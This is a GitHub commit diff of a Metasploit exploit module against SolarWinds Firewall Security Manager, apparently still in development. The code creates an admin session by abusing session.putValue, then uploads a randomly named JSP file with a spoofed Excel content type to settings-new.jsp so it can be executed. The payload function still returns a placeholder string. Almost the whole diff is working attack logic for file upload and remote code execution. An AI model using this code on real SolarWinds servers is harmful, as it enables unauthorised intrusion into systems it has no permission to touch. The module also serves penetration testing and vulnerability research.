Skip to content

Commit 8ad07cd

Browse files
committed
This should be on the right track
1 parent 6795c90 commit 8ad07cd

File tree

1 file changed

+10
-4
lines changed

1 file changed

+10
-4
lines changed

modules/exploits/windows/http/solarwinds_fsm_userlogin.rb

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -83,8 +83,8 @@ def exploit
8383
sid = put_session_value('admin')
8484
print_status("Your SID is: #{sid}")
8585

86-
filename = "test.jsp"
87-
malicious_file = ''
86+
filename = "#{Rex::Text.rand_text_alpha(5)}.jsp"
87+
malicious_file = get_jsp_payload
8888
print_status("Uploading file: #{filename}")
8989
upload_exec(sid, filename, malicious_file)
9090
end
@@ -93,6 +93,12 @@ def exploit
9393
private
9494

9595

96+
# Returns a JSP payload
97+
def get_jsp_payload
98+
'evil inside'
99+
end
100+
101+
96102
# Creates an arbitrary username by abusing the server's unsafe use of session.putValue
97103
def put_session_value(value)
98104
res = send_request_cgi(
@@ -134,14 +140,14 @@ def upload_exec(sid, filename, malicious_file)
134140
# C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
135141
def upload_file(sid, filename, malicious_file)
136142
mime_data = Rex::MIME::Message.new
137-
mime_data.add_part(malicious_file, nil, nil, "name=\"file\"; filename=\"#{filename}\"")
143+
mime_data.add_part(malicious_file, 'application/vnd.ms-excel', nil, "name=\"file\"; filename=\"#{filename}\"")
138144
mime_data.add_part('uploadFile', nil, nil, 'name="action"')
139145

140146
proto = ssl ? 'https' : 'http'
141147
ref = "#{proto}://#{rhost}:#{rport}#{normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp')}"
142148

143149
send_request_cgi(
144-
'uri' => normalize_uri(target_uri.path, 'fsm', 'userlogin.jsp'),
150+
'uri' => normalize_uri(target_uri.path, 'fsm', 'settings-new.jsp'),
145151
'method' => 'POST',
146152
'vars_get' => { 'action' => 'uploadFile' },
147153
'ctype' => "multipart/form-data; boundary=#{mime_data.bound}",

0 commit comments

Comments
 (0)